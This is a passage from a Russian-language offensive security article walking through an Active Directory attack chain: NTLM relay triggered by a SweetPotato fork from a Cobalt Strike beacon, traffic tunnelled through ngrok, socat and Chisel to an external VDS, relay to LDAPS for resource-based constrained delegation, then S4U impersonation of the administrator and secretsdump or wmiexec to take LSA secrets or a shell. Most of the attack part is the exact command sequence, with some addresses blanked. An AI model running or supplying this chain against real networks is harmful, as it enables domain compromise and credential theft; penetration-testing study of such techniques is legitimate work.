В репози­тории Impacket ждет сво­его часа pull request, избавля­ющий нас от необ­ходимос­ти тащить на ата­куемый хост RemotePotato0.exe: триг­гер NTLM-аутен­тифика­ции перенес­ли в этот форк SweetPotato, RPC-сер­вер реали­зова­ли в самом ntlmrelayx.py, а OXID-резол­вер вынес­ли в отдель­ный скрипт rpcoxidresolver.py. Одна­ко в этом слу­чае самые вкус­ные фун­кции не будут работать — триг­герить NTLM-аутен­тифика­цию мож­но толь­ко от име­ни машин­ной УЗ, но не сквозь чужую сес­сию.

Я покажу спо­соб воору­жить и этот вари­ант ата­ки, имея под рукой толь­ко бикон «Кобы» и инстанс VDS, через клас­сичес­кую реали­зацию RBCD-абь­юза для пыв­на сер­вера, отку­да при­лета­ет аутен­тифика­ция.

Для это­го сна­чала опре­делим­ся, что, куда и зачем мы редирек­тим:

  1. С помощью ngrok соз­даем TCP-канал извне до localhost:135. Так как RPC-сер­вер теперь кру­тит­ся на машине ата­кующе­го, нам не нуж­но ничего зер­калить вто­рым socat — дос­таточ­но запус­тить rpcoxidresolver.py, который уже слу­шает localhost:135.
  2. С помощью Chisel проб­расыва­ем порт 9997 с VDS на порт машины ата­кующе­го 9998, который слу­шает RPC-сер­вер ntlmrelayx.py. В качес­тве адре­са RPC-сер­вера в rpcoxidresolver.py (опция -rip) ука­зыва­ем IP нашего VDS — это нуж­но для того, что­бы передать NTLM-аутен­тифика­цию в ntlmrelayx.py (при исполь­зовании адре­са 127.0.0.1 эта конс­трук­ция работать отка­зыва­ется).
  3. ntlmrelayx.py пус­каем через прок­сю CS для релея на служ­бу LDAPS кон­трол­лера домена. Да, на LDAPS, потому что, при­меняя релей, мы хотим нас­тро­ить делеги­рова­ние отно­ситель­но вспо­мога­тель­ной сер­висной УЗ, которую нель­зя соз­дать по LDAP.
  4. Стре­ляем SweetPotato.exe из CS с триг­гером CLSID {42CBFAA7-A4A7-47BB-B422-BD10E9D02700}, пред­лага­емо­го авто­ром PR.

beacon(1)> socks 1080
(ATTACKER) ~135()
(VDS) ~ngroktcp135(VDS) sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP::
(VDS) ~$ sudo ./chisel server -p 6666 --reverse --auth :
(ATTACKER) ~$ ./chisel client --auth : :6666 R:9997:127.0.0.1:9998
(ATTACKER) ~$ python examples/rpcoxidresolver.py -oip 127.0.0.1 -rip -rport 9997
(ATTACKER) ~$ proxychains4 -q python examples/ntlmrelayx.py -t ldaps:// --rpc-port 9998 -smb2support --no-smb-server --no-http-server --no-wcf-server --no-raw-server --no-da --no-acl --delegate-access
beacon(2)> execute-assembly SweetPotato.exe -e 1 -oip -c 42CBFAA7-A4A7-47BB-B422-BD10E9D02700

S4U2Proxy, я иду!

Пос­ле это­го, полагаю, не нуж­но объ­яснять, что делать даль­ше.

По­луча­ем TGS-билет через тран­зитные рас­ширения Kerberos (S4U2Self & S4U2Proxy) с опци­ей имперсо­нации поль­зовате­ля administrator (getST.py) и фигачим secretsdump.py/wmiexec.py, что­бы извлечь сек­реты LSA или получить шелл на сер­вере.

Те­перь мы закон­ные адми­ны на сер­вере TEXAS

При­коль­ный вари­ант ата­ки, но про­тащить и выпол­нить ори­гиналь­ный бинарь, как мы показа­ли ранее, тоже не сос­тавля­ет боль­шого тру­да.